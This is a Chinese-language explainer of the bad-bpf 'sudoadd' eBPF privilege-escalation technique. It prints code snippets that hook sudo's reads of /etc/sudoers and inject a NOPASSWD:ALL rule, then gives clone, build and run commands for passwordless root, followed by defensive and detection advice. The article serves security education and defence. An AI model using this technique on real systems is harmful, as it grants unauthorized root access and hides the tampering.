Sudo-Add权限提升详解：eBPF篡改/etc/sudoers文件实现无密码root

【免费下载链接】bad-bpfA collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29项目地址: https://gitcode.com/gh_mirrors/ba/bad-bpf

在现代Linux系统安全中，eBPF技术常被用于性能分析和系统监控，但也可能被恶意利用。本文将深入解析bad-bpf项目中的sudoadd模块如何通过eBPF技术篡改/etc/sudoers文件，实现无密码获取root权限，帮助安全从业者了解这一攻击原理并增强防御能力。

什么是eBPF权限提升攻击？

eBPF（Extended Berkeley Packet Filter）是一种运行在内核空间的虚拟机技术，允许用户编写自定义程序在内核中执行。当被恶意利用时，攻击者可通过eBPF程序拦截系统调用、修改关键文件内容，从而绕过传统安全机制实现权限提升。sudoadd正是利用这一特性，通过篡改sudo命令读取的/etc/sudoers文件内容，达到无密码获取root权限的目的。

sudoadd攻击原理深度剖析

核心实现机制

sudoadd通过两个关键文件实现攻击：

• 用户态程序：sudoadd.c负责配置攻击参数并加载eBPF程序
• 内核态程序：sudoadd.bpf.c实现对sudo命令的拦截和文件内容篡改

攻击流程主要分为三个阶段：

1. 目标进程识别与过滤

eBPF程序通过跟踪openat系统调用，识别sudo进程打开/etc/sudoers文件的操作：

// 检查进程是否为sudo const int sudo_len = 5; const char *sudo = "sudo"; for (int i = 0; i < sudo_len; i++) { if (comm[i] != sudo[i]) { return 0; } } // 检查是否正在打开/etc/sudoers文件 const int sudoers_len = 13; const char *sudoers = "/etc/sudoers"; char filename[sudoers_len]; bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]);

2. 文件内容拦截与篡改

当sudo进程读取/etc/sudoers文件时，eBPF程序拦截read系统调用，将文件内容替换为预设的权限配置：

// 构造sudoers配置 payload sprintf(skel->rodata->payload, "%s ALL=(ALL:ALL) NOPASSWD:ALL #", env.username); skel->rodata->payload_len = strlen(skel->rodata->payload); // 覆盖文件内容 for (unsigned int i = 0; i < max_payload_len; i++) { if (i >= payload_len) { local_buff[i] = '#'; // 注释掉原有内容 } else { local_buff[i] = payload[i]; // 写入新配置 } } bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len);

3. 清理与隐蔽

攻击完成后，eBPF程序通过跟踪close系统调用清理临时数据，避免留下痕迹：

// 关闭文件时清理映射表 bpf_map_delete_elem(&map_fds, &pid_tgid); bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);

攻击实施步骤

环境准备

1. 克隆项目代码库：

   git clone https://gitcode.com/gh_mirrors/ba/bad-bpf cd bad-bpf/src

2. 编译项目：

   make sudoadd

执行攻击

使用以下命令启动攻击程序，指定目标用户：

./sudoadd -u [目标用户名]

此时，当目标用户执行sudo命令时，将无需输入密码直接获得root权限：

$ sudo -i # 无需密码直接进入root shell

防御与检测方法

系统层面防御

1. 限制eBPF权限：通过内核参数kernel.unprivileged_bpf_disabled=1禁用非特权用户的eBPF功能
2. 文件完整性监控：使用auditd监控/etc/sudoers文件的访问和修改
3. 最小权限原则：避免给普通用户授予CAP_BPF等特权

检测技术

1. 监控异常系统调用：检测sudo进程打开/etc/sudoers文件时的异常读操作
2. eBPF程序审计：定期检查系统中加载的eBPF程序，关注可疑的跟踪点和系统调用拦截
3. 日志分析：分析sudo日志中出现的无密码成功授权记录

总结与安全建议

sudoadd展示了eBPF技术被恶意利用的潜在风险，这种攻击方式具有隐蔽性高、难以检测的特点。安全从业者应：

• 加强对eBPF技术的安全管控
• 定期审计系统中的eBPF程序
• 部署文件完整性监控和异常行为检测
• 遵循最小权限原则配置系统

通过本文的分析，希望读者能深入理解eBPF权限提升攻击的原理，并采取有效的防御措施保护系统安全。项目中更多eBPF安全案例可参考src/目录下的其他模块实现。

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